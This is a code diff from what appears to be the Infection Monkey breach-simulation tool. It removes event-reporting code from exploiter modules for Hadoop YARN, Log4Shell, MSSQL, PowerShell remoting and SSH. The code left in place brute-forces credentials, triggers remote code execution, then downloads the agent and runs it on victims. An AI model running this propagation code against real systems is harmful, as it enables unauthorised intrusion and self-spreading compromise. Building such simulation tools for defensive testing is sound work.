self.agent_event_queue.publish(exploitation_event)
def _publish_propagation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
propagation_event = PropagationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._PROPAGATION_TAGS),
)
self.agent_event_queue.publish(propagation_event)

View File

@ -5,20 +5,13 @@
""" """
import json import json
import logging
import posixpath import posixpath
import random import random
import string import string
from time import time
import requests import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
@ -30,10 +23,6 @@ from infection_monkey.model import (
) )
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop" _EXPLOITED_SERVICE = "Hadoop"
@ -43,43 +32,39 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
RAN_STR_LEN = 6 RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(HadoopExploiter, self).__init__() super(HadoopExploiter, self).__init__()
def _exploit_host(self): def _exploit_host(self):
# Try to get potential urls # Try to get exploitable url
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
if not potential_urls: self.add_vulnerable_urls(urls, True)
self.exploit_result.error_message = ( if not self.vulnerable_urls:
f"No potential exploitable urls has been found for {self.host}"
)
return self.exploit_result return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host) monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer( http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository self.host, str(monkey_path_on_victim), self.agent_binary_repository
) )
command = self._build_command(monkey_path_on_victim, http_path)
try: try:
for url in potential_urls: command = self._build_command(monkey_path_on_victim, http_path)
if self.exploit(url, command):
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command) self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
break
finally: finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
return self.exploit_result return self.exploit_result
def exploit(self, url: str, command: str): def exploit(self, url, command):
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return False return False
@ -88,8 +73,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
) )
resp_dict = json.loads(resp.content) resp = json.loads(resp.content)
app_id = resp_dict["application-id"] app_id = resp["application-id"]
# Create a random name for our application in YARN # Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux # random.SystemRandom can block indefinitely in Linux
@ -102,16 +87,10 @@ class HadoopExploiter(WebRCE):
self._set_interrupted() self._set_interrupted()
return False return False
timestamp = time()
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )
return resp.status_code == 202
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url): def check_if_exploitable(self, url):
try: try:

View File

@ -4,11 +4,6 @@ from pathlib import PurePath
from common import OperatingSystem from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
from common.utils import Timer from common.utils import Timer
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH, LINUX_EXPLOIT_TEMPLATE_PATH,
@ -31,26 +26,12 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
class Log4ShellExploiter(WebRCE): class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
_EXPLOITER_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
self._open_ports = [ self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
@ -165,37 +146,24 @@ class Log4ShellExploiter(WebRCE):
f"on port {port}" f"on port {port}"
) )
try: try:
timestamp = time.time()
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as err: except Exception as ex:
error_message = ( logger.warning(
"An error occurred while attempting to exploit log4shell on a " "An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {err}" f"potential {exploit.service_name} service: {ex}"
) )
logger.warning(error_message) if self._wait_for_victim():
self._publish_exploitation_event(timestamp, False, error_message=error_message)
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
# exception. Is that the desired behavior?
if self._wait_for_victim(timestamp):
self.exploit_info["vulnerable_service"] = { self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name, "service_name": exploit.service_name,
"port": port, "port": port,
} }
self.exploit_info["vulnerable_urls"].append(url) self.exploit_info["vulnerable_urls"].append(url)
def _wait_for_victim(self, timestamp: float) -> bool: def _wait_for_victim(self) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode() victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back: if victim_called_back:
self._publish_exploitation_event(timestamp, True) self._wait_for_victim_to_download_agent()
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
self._publish_propagation_event(success=victim_downloaded_agent)
else:
error_message = "Timed out while waiting for victim to download the java bytecode"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return victim_called_back return victim_called_back
@ -208,20 +176,19 @@ class Log4ShellExploiter(WebRCE):
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
return True return True
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) time.sleep(1)
logger.debug("Timed out while waiting for victim to download the java bytecode")
return False return False
def _wait_for_victim_to_download_agent(self) -> bool: def _wait_for_victim_to_download_agent(self):
timer = Timer() timer = Timer()
timer.set(LONG_REQUEST_TIMEOUT) timer.set(LONG_REQUEST_TIMEOUT)
while not timer.is_expired(): while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0: if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return True break
# TODO: if the http server got an error we're waiting for nothing here # TODO: if the http server got an error we're waiting for nothing here
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) time.sleep(1)
return False

View File

@ -1,18 +1,12 @@
import logging import logging
from pathlib import PureWindowsPath from pathlib import PureWindowsPath
from time import sleep, time from time import sleep
from typing import Iterable, Optional, Tuple from typing import Sequence, Tuple
import pymssql import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -26,8 +20,6 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL" _EXPLOITED_SERVICE = "MSSQL"
@ -44,20 +36,13 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
) )
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self.cursor = None self.cursor = None
self.agent_http_path = None self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host)) agent_path_on_victim = get_agent_dst_path(self.host)
# Brute force to get connection # Brute force to get connection
creds = generate_identity_secret_pairs( creds = generate_identity_secret_pairs(
@ -67,18 +52,16 @@ class MSSQLExploiter(HostExploiter):
try: try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError: except FailedExploitationError:
error_message = ( logger.info(
f"Failed brute-forcing of MSSQL server on {self.host}," f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful" f" no credentials were successful"
) )
logger.error(error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
timestamp = time()
try: try:
self._upload_agent(agent_path_on_victim) self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim)
@ -89,17 +72,15 @@ class MSSQLExploiter(HostExploiter):
) )
logger.error(error_message) logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message self.exploit_result.error_message = error_message
return self.exploit_result return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return self.exploit_result return self.exploit_result
def _brute_force( def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]] self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
) -> pymssql.Cursor: ) -> pymssql.Cursor:
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
@ -125,7 +106,6 @@ class MSSQLExploiter(HostExploiter):
) )
for user, password in credentials_iterator: for user, password in credentials_iterator:
timestamp = time()
try: try:
# Core steps # Core steps
# Trying to connect # Trying to connect
@ -142,14 +122,14 @@ class MSSQLExploiter(HostExploiter):
) )
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self._report_login_attempt(timestamp, True, user, password) self.report_login_attempt(True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor return cursor
except pymssql.OperationalError as err: except pymssql.OperationalError as err:
error_message = f"Connection to MSSQL failed: {err}" logger.info(f"Connection to MSSQL failed: {err}")
logger.info(error_message) self.report_login_attempt(False, user, password)
self._report_login_attempt(timestamp, False, user, password, error_message) # Combo didn't work, hopping to the next one
pass
logger.warning( logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, " "No user/password combo was able to connect to host: {0}:{1}, "
@ -159,23 +139,14 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr) "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
) )
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath): def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim) http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim) self._run_agent_download_command(agent_path_on_victim)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread) MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server( def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository self.host, str(agent_path_on_victim), self.agent_binary_repository
) )
@ -208,7 +179,7 @@ class MSSQLExploiter(HostExploiter):
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline( agent_args = build_monkey_commandline(
self.servers, self.current_depth + 1, str(agent_path_on_victim) self.servers, self.current_depth + 1, agent_path_on_victim
) )
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

View File

@ -1,14 +1,8 @@
import logging import logging
from pathlib import Path, PurePath from pathlib import Path, PurePath
from time import time
from typing import List, Optional from typing import List, Optional
from common import OperatingSystem from common import OperatingSystem
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
from infection_monkey.exploit.powershell_utils.credentials import ( from infection_monkey.exploit.powershell_utils.credentials import (
@ -27,7 +21,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
class RemoteAgentCopyError(Exception): class RemoteAgentCopyError(Exception):
@ -41,17 +34,6 @@ class RemoteAgentExecutionError(Exception):
class PowerShellExploiter(HostExploiter): class PowerShellExploiter(HostExploiter):
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
_EXPLOITER_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
POWERSHELL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self._client = None self._client = None
@ -86,21 +68,12 @@ class PowerShellExploiter(HostExploiter):
) )
return self.exploit_result return self.exploit_result
execute_agent_timestamp = time()
try: try:
self._execute_monkey_agent_on_victim() self._execute_monkey_agent_on_victim()
except Exception as err:
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
self._publish_propagation_event(
time=execute_agent_timestamp,
success=False,
error_message=self.exploit_result.error_message,
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
self._publish_propagation_event(time=execute_agent_timestamp, success=True) except Exception as ex:
logger.error(f"Failed to propagate to the remote host: {ex}")
self.exploit_result.error_message = str(ex)
return self.exploit_result return self.exploit_result
@ -121,27 +94,21 @@ class PowerShellExploiter(HostExploiter):
try: try:
client = PowerShellClient(self.host.ip_addr, creds, opts) client = PowerShellClient(self.host.ip_addr, creds, opts)
connect_timestamp = time()
client.connect() client.connect()
logger.info( logger.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, Secret Type: {creds.secret_type.name}" f"{creds.username}, Secret Type: {creds.secret_type.name}"
) )
self._publish_exploitation_event(time=connect_timestamp, success=True)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._report_login_attempt(True, creds) self._report_login_attempt(True, creds)
return client return client
except Exception as ex: except Exception as ex:
error_message = ( logger.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: " f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
) )
logger.debug(error_message)
self._publish_exploitation_event(
time=connect_timestamp, success=False, error_message=error_message
)
self._report_login_attempt(False, creds) self._report_login_attempt(False, creds)
return None return None

View File

@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
if credentials.secret_type == SecretType.CACHED: if credentials.secret_type == SecretType.CACHED:
return None return None
plaintext_secret = str(get_plaintext(credentials.secret)) plaintext_secret = get_plaintext(credentials.secret)
if credentials.secret_type == SecretType.PASSWORD: if credentials.secret_type == SecretType.PASSWORD:
return plaintext_secret return plaintext_secret

View File

@ -1,27 +1,15 @@
import io import io
import logging import logging
from ipaddress import IPv4Address
from pathlib import PurePath from pathlib import PurePath
from time import time
from typing import Optional
import paramiko import paramiko
from common import OperatingSystem from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer from common.utils import Timer
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
@ -31,7 +19,6 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -43,15 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15 TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(SSHExploiter, self).__init__() super(SSHExploiter, self).__init__()
@ -63,7 +46,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset() timer.reset()
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs( user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"], secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -87,8 +70,6 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey) pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key") logger.error("Failed reading ssh key")
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -105,30 +86,20 @@ class SSHExploiter(HostExploiter):
) )
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
ssh.close() ssh.close()
error_message = ( logger.info(
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
) )
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string)
continue continue
except Exception as err: except Exception as err:
error_message = ( logger.error(f"Unknown error while attempting to login with ssh key: {err}")
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs( user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"], secrets=self.options["credentials"]["exploit_password_list"],
@ -145,8 +116,6 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -162,125 +131,24 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" logger.debug(
logger.debug(error_message) "Failed logging into victim %r with user" " %s: (%s)",
self._publish_exploitation_event(timestamp, False, error_message=error_message) self.host,
user,
err,
)
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
ssh.close() ssh.close()
continue continue
except Exception as err: except Exception as err:
error_message = ( logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
port = self._get_ssh_port()
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted():
self._set_interrupted()
raise RuntimeError("Propagation was interrupted")
monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
monkey_path_on_victim,
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
@ -288,9 +156,28 @@ class SSHExploiter(HostExploiter):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", "")) port = int(servkey.replace("tcp-", ""))
return port is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
